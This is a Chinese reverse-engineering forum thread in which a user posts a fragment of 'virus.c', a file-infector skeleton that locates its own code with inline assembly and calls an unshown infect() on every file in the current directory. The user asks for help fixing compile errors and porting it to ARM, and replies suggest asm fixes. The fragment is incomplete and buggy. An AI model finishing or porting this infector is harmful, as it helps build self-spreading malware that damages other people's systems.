首页
社区
课程
招聘
未解决 [悬赏]c程序错误 2.00雪花
发表于: 2017-4-11 17:44 2818

未解决 [悬赏]c程序错误 2.00雪花

2017-4-11 17:44
2818

virus.c:

#include<unistd.h>

#include<sys/types.h>

#include<sys/stat.h>

#include<fcntl.h>

#include<virus.h>

int SECTION(.text.start) start1(void)

{

        unsigned int addr, size;

int h, dir;

char buf[DIRENT_SIZE];

asm volatile (" call 1f; 1: pop %0; mov  $(1b - start), %0; mov $(end - start), %1":"=r"(addr),"=r"(size));

dir = '.';

        h = open("(char*)&dir", O_RDWR);

if (h < 0)

           return 0;

while (readdir(h, buf) == 1)

if (infect(buf + DIRENT_DNAME, addr, size) == 1)

break;

close(h);

        return 1;

}

void SECTION(.text.end) end1(void)

{}



[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 5954
活跃值: (46)
能力值: ( LV4,RANK:140 )
在线值:
发帖
回帖
粉丝
2

asm volatile ("    call 1f; 1: pop    %0; mov  $(1b - start1), %0; mov $(end1 - start1), %1":"=r"(addr),"=r"(size));

2017-4-11 23:58
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
是这句话又问题但是不知道怎么改,而且还想问一下,asm可以用arm-linux-gcc编译么,我用arm-linux-gcc编译该文件显示:
virus.c:13:  error:  impossible  constraint  in  'asm'
virus.c:16:  error:  impossible  constraint  in  'asm'
virus.c:19:  error:  impossible  constraint  in  'asm'
2017-4-12 00:31
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
改为end1-start1还是报一样的错,我把改成.text.start-.text.end了
2017-4-12 00:36
0
雪    币: 183
活跃值: (1289)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
arm的话  就不是用X86汇编了吧。  用ARM格式的。
2017-4-12 10:56
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
yy大雄 arm的话 就不是用X86汇编了吧。 用ARM格式的。
arm的话    就不是用X86汇编了吧。    用ARM格式的。
请问应该怎么改为ARM格式?
2017-4-12 11:19
0
游客
登录 | 注册 方可回帖
返回
//